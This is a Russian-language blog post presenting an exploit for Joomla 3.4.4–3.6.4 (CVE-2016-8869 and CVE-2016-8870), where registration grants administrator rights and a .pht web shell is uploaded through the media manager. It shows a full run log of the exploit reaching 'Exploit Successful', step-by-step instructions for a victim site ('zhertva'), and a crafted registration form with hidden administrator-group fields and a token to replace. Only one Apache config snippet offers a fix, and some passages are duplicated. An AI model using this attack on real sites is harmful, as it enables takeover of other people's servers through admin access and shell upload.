Эксплойт для Joomla 3.4.4 - 3.6.4 (CVE-2016-8869 and CVE-2016-8870)
Категория: / DEV Блог
/ PHP (LAMP)
Две уязвимости в джумле позволяют получить админский доступ и в свою очередь залить файл шелла через медиа менеджер.
1. В com_users:user.register не осуществляется должная валидация данных. Злоумышленник может зарегистрировать пользователя с правами админа. Важно чтобы на сайте была включена регистрация, иначе в joomla 3.6.3 (и возможно более ранних) созданный пользователь не сможет быть активирован.
2. Проблема с вайтлистом в медиа менеджере
Медиаменеджер в джумле имеет белый список загружаемых файлов (и их типов). По-умолчанию он не позволяет загружать файлы с расширением ".php, .phtml" или содержащие "<?php". Однако позволят загрузить файлы содержащие <?= с расширением .pht. Файлы .pht по-умолчанию включены на всех apache серверах с mod_php в ubuntu => могут быть загружены и запущены!
В сети опубликован эксплойт на Pythonе
Я переписал его в "нативный" для джумлы PHP:
Эксплойт на PHP
1. В com_users:user.register не осуществляется должная валидация данных. Злоумышленник может зарегистрировать пользователя с правами админа. Важно чтобы на сайте была включена регистрация, иначе в joomla 3.6.3 (и возможно более ранних) созданный пользователь не сможет быть активирован.
2. Проблема с вайтлистом в медиа менеджере
Медиаменеджер в джумле имеет белый список загружаемых файлов (и их типов). По-умолчанию он не позволяет загружать файлы с расширением ".php, .phtml" или содержащие "<?php". Однако позволят загрузить файлы содержащие <?= с расширением .pht. Файлы .pht по-умолчанию включены на всех apache серверах с mod_php в ubuntu => могут быть загружены и запущены!
root@webserv:/etc/apache2/mods-available# cat ./php5.6.conf
# Дефолтный конфиг
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
# Пофиксить можно запретив доступ таким файлам
<FilesMatch ".+\.ph(p[3457]|t|tml)$">
Require all denied
</FilesMatch>
В сети опубликован эксплойт на Pythonе
Я переписал его в "нативный" для джумлы PHP:
Эксплойт на PHP
#Пробуем запустить
php exploit.php --username hacker -p password -e hacker@example.com http://localhost:9994/
[0.000] Booting...
[0.000] Victim is http://localhost:9994
[0.000] [-] Getting token
[0.464] ..fetch | GET | /index.php/component/users/?view=login | 200
[0.464] Token | 6cebed4c64eae7e8915b0bc7e0ca354e
[0.464] [-] Creating user account
[0.760] ..fetch | POST | /index.php/component/users/?task=user.register | 303
[0.760] [!] Account not created or already exists
[0.760] [-] Getting token for admin login
[1.113] ..fetch | GET | /administrator/index.php | 200
[1.113] Token | af3c362c9aa19347451656d2d24b79f2
[1.113] [-] Logging in to admin
[2.368] ..fetch | POST | /administrator/index.php | 200
[2.368] [+] Admin Login Success!
[2.368] [+] Getting media options
[3.221] ..fetch | GET | /administrator/index.php?option=com_config&view=component&component=com_media&path= | 200
[4.470] ..fetch | POST | /administrator/index.php?option=com_config | 200
[4.470] [*] Upload shell
[5.329] ..fetch | GET | /administrator/index.php?option=com_media&folder= | 200
[5.330] [-] Uploading exploit to | /images/1k8iusc.pht
[6.415] ..fetch | POST | http://localhost:9994/administrator/index.php?option=com_media&task=file.upload&tmpl=component&ed5766f9587758a07f90d6b1ba846723=r2pci9ua7bao40na38foiq7da7&b5dab50228f1e955bae66d8950cc29a7=1&format=html | 200
[6.415] [*] Calling exploit
[6.417] ..fetch | GET | /1.php | 200
[6.417] [$] Exploit Successful!
заходим на страницу
zhertva/component/users/?view=login
находим токен c помщью firebug,
добавляем код и меняем токен на свой
<div class="registration">
<form id="member-registration" action="/component/users/?task=user.register" method="post" class="form-validate form-horizontal well" enctype="multipart/form-data">
<fieldset>
<legend>Регистрация пользователя</legend>
<div class="control-group">
<div class="control-label">
<span class="spacer"><span class="before"></span><span class="text"><label id="jform_spacer-lbl" class=""><strong class="red">*</strong> Обязательное поле</label></span><span class="after"></span></span> </div>
<div class="controls">
</div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_name-lbl" for="jform_name" class="hasTooltip required invalid" title="" data-original-title="<strong>Имя</strong><br />Введите ваше полное имя" aria-invalid="true">
Имя<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[name]" id="jform_name" value="" class="required invalid" size="30" required="required" aria-required="true" aria-invalid="true" type="text"> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_username-lbl" for="jform_username" class="hasTooltip required" title="" data-original-title="<strong>Логин</strong><br />Введите желаемый логин.">
Логин<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[username]" id="jform_username" value="" class="validate-username required" size="30" required="required" aria-required="true" type="text"> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_password1-lbl" for="jform_password1" class="hasTooltip required" title="" data-original-title="<strong>Пароль</strong><br />Введите пароль.">
Пароль<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[password1]" id="jform_password1" value="" autocomplete="off" class="validate-password required" size="30" maxlength="99" required="required" aria-required="true" type="password"> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_password2-lbl" for="jform_password2" class="hasTooltip required" title="" data-original-title="<strong>Повтор пароля</strong><br />Подтверждение пароля">
Повтор пароля<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[password2]" id="jform_password2" value="" autocomplete="off" class="validate-password required" size="30" maxlength="99" required="required" aria-required="true" type="password"> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_email1-lbl" for="jform_email1" class="hasTooltip required" title="" data-original-title="<strong>Адрес электронной почты</strong><br />Введите адрес электронной почты">
Адрес электронной почты<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[email1]" class="validate-email required" id="jform_email1" value="" size="30" required="required" aria-required="true" type="email"> </div>
</div>
<div class="control-group">
<div class="control-label">
<label id="jform_email2-lbl" for="jform_email2" class="hasTooltip required" title="" data-original-title="<strong>Подтверждение адреса электронной почты</strong><br />Подтвердите указанный вами адрес электронной почты">
Подтверждение адреса электронной почты:<span class="star"> *</span></label> </div>
<div class="controls">
<input name="user[email2]" class="validate-email required" id="jform_email2" value="" size="30" required="required" aria-required="true" type="email"> </div>
</div>
</fieldset>
<div class="control-group">
<div class="controls">
<button type="submit" class="btn btn-primary validate">Регистрация</button>
<a class="btn" href="/" title="Отмена">Отмена</a>
<input id="1group_2" name="user[groups][]" value="2" checked="checked" rel="1group_1" type="checkbox">
<input id="1group_7" name="user[groups][]" value="7" rel="1group_6" type="checkbox">
<input name="option" value="com_users" type="hidden">
<input name="task" value="user.register" type="hidden">
</div>
</div>
<input name="Это токен его надо заменить на свой cf8d7e1e5cc19c5a9f73b02b34da6f0f" value="1" type="hidden"> </form>
</div>